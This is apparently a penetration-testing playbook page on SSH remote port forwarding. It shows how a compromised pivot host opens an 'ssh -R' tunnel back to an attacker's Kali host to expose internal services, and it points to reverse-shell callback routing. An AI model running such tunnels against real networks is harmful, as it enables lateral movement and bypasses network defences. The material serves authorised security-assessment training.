Expose an SSH-client-side destination through a server-side remote listener

Needs: Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination

Run on a pivot that can initiate an SSH connection back to Kali

# Run on a pivot that can initiate an SSH connection back to Kali
ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses

# Kali then uses
nc -nvz 127.0.0.1 KALI_PORT

The SSH client/pivot connects to INTERNAL_HOST. AllowTcpForwarding and server policy must permit the forward. A non-loopback remote bind additionally depends on GatewayPorts; do not assume 0.0.0.0 was honored.

Verify → Verify listener placement/bind and actual destination application response.

If it fails → A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials. More detail ↓

If → then

A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
Needs: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
SMB/RPC endpoints, domain clues or new credentials → Enumerate SMB/RPC shares, files and identities
Needs: Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter
A pivoted exploit reaches its target but its shell/download cannot return → Build the callback and delivery routes separately from the attack route
Needs: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Expose an SSH-client-side destination through a server-side remote listener

USE WHEN: The useful side can initiate SSH outward but cannot accept an inbound management connection
STARTING ACCESS: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
RESULT: A server-side listener forwarding to a destination reached from the SSH client

Recognize the clue

Identify an outbound-only pivot-to-SSH-server path and a service reached from that SSH client/pivot; decide where the remote listener is needed.

ssh -v USER@SSH_SERVER

SYNTHETIC EXAMPLE OUTPUT

Pivot/client -> SSH server: allowed
SSH server -> pivot inbound: blocked
Desired listener: SSH server

Means: The useful listener is on the SSH server while the destination is reached from the client side: a remote forward candidate.

Confirm: Verify remote-forward permission, server bind/GatewayPorts policy and pivot-side destination reachability.

After validation: The server-side listener carries the intended service: choose the -R fixed forward.
Ruled out in this context: Only a loopback listener is available but another host must connect and no approved bind path exists: reject that exposure design.
Still inconclusive: Accepted outbound SSH does not prove remote listener policy.

Troubleshooting: A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.

Additional prerequisite checks

ssh -v USER@SSH_SERVER
ss -lnt

Run on a pivot that can initiate an SSH connection back to Kali:

Kali then uses:

The SSH client/pivot connects to INTERNAL_HOST. AllowTcpForwarding and server policy must permit the forward. A non-loopback remote bind additionally depends on GatewayPorts; do not assume 0.0.0.0 was honored.

Why it works

With -R the listener is on the SSH server. Its public exposure depends on bind address/server policy; target localhost is evaluated on the SSH client side.

Worked example · hypothetical

Observation: a pivot can initiate SSH to the assessment host. Test: remote-forward a selected internal service. Illustrative output: the assessment-side listener reaches that service via the pivot. Interpretation: connect using the destination service's identity rules.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗